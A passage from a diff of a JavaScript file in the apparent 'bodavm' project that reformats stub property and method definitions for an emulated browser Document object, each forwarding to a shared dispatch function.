arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "children_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "firstElementChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastElementChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "childElementCount_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "activeElement", {configurable:true, enumerable:true, get:function activeElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "activeElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "styleSheets", {configurable:true, enumerable:true, get:function styleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "styleSheets_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pointerLockElement", {configurable:true, enumerable:true, get:function pointerLockElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pointerLockElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreenElement", {configurable:true, enumerable:true, get:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_get", arguments)}, set:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "adoptedStyleSheets", {configurable:true, enumerable:true, get:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_get", arguments)}, set:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fonts", {configurable:true, enumerable:true, get:function fonts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fonts_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "adoptNode", {configurable:true, enumerable:true, writable:true, value:function adoptNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "captureEvents", {configurable:true, enumerable:true, writable:true, value:function captureEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "captureEvents", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "caretRangeFromPoint", {configurable:true, enumerable:true, writable:true, value:function caretRangeFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "caretRangeFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "close", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createAttribute", {configurable:true, enumerable:true, writable:true, value:function createAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttribute", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createAttributeNS", {configurable:true, enumerable:true, writable:true, value:function createAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttributeNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createCDATASection", {configurable:true, enumerable:true, writable:true, value:function createCDATASection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createCDATASection", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createComment", {configurable:true, enumerable:true, writable:true, value:function createComment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createComment", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createDocumentFragment", {configurable:true, enumerable:true, writable:true, value:function createDocumentFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createDocumentFragment", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createElement", {configurable:true, enumerable:true, writable:true, value:function createElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElement", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createElementNS", {configurable:true, enumerable:true, writable:true, value:function createElementNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElementNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createEvent", {configurable:true, enumerable:true, writable:true, value:function createEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createEvent", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createExpression", {configurable:true, enumerable:true, writable:true, value:function createExpression (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createExpression", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createNSResolver", {configurable:true, enumerable:true, writable:true, value:function createNSResolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNSResolver", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createNodeIterator", {configurable:true, enumerable:true, writable:true, value:function createNodeIterator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNodeIterator", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createProcessingInstruction", {configurable:true, enumerable:true, writable:true, value:function createProcessingInstruction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createProcessingInstruction", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createRange", {configurable:true, enumerable:true, writable:true, value:function createRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createRange", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createTextNode", {configurable:true, enumerable:true, writable:true, value:function createTextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTextNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createTreeWalker", {configurable:true, enumerable:true, writable:true, value:function createTreeWalker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTreeWalker", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "elementFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "elementsFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementsFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementsFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "evaluate", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "execCommand", {configurable:true, enumerable:true, writable:true, value:function execCommand (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "execCommand", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitFullscreen", {configurable:true, enumerable:true, writable:true, value:function exitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitFullscreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function exitPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPictureInPicture", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitPointerLock", {configurable:true, enumerable:true, writable:true, value:function exitPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPointerLock", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementById", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByClassName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByName", {configurable:true, enumerable:true, writable:true, value:function getElementsByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagNameNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getSelection", {configurable:true, enumerable:true, writable:true, value:function getSelection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getSelection", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "hasFocus", {configurable:true, enumerable:true, writable:true, value:function hasFocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hasFocus", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "importNode", {configurable:true, enumerable:true, writable:true, value:function importNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "importNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "open", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prepend", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandEnabled", {configurable:true, enumerable:true, writable:true, value:function queryCommandEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandEnabled", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandIndeterm", {configurable:true, enumerable:true, writable:true, value:function queryCommandIndeterm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandIndeterm", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandState", {configurable:true, enumerable:true, writable:true, value:function queryCommandState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandState", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandSupported", {configurable:true, enumerable:true, writable:true, value:function queryCommandSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandSupported", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandValue", {configurable:true, enumerable:true, writable:true, value:function queryCommandValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandValue", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelector", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelectorAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "releaseEvents", {configurable:true, enumerable:true, writable:true, value:function releaseEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "releaseEvents", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "replaceChildren", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitCancelFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitCancelFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCancelFullScreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitExitFullscreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "write", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "writeln", {configurable:true, enumerable:true, writable:true, value:function writeln (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "writeln", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "prerendering", {configurable:true, enumerable:true, get:function prerendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prerendering_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onprerenderingchange", {configurable:true, enumerable:true, get:function onprerenderingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_get", arguments)}, set:function onprerenderingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fragmentDirective", {configurable:true, enumerable:true, get:function fragmentDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fragmentDirective_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "timeline", {configurable:true, enumerable:true, get:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "timeline_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getAnimations", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "startViewTransition", {configurable:true, enumerable:true, writable:true, value:function startViewTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "startViewTransition", arguments)}},'prototype'); - +bodavm.memory.globalobj['Document'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Document'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Document', "implementation", { + configurable: true, + enumerable: true, + get: function implementation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "implementation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "URL", { + configurable: true, + enumerable: true, + get: function URL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "URL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentURI", { + configurable: true, + enumerable: true, + get: function documentURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "compatMode", { + configurable: true, + enumerable: true, + get: function compatMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "compatMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "characterSet", { + configurable: true, + enumerable: true, + get: function characterSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "characterSet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "charset", { + configurable: true, + enumerable: true, + get: 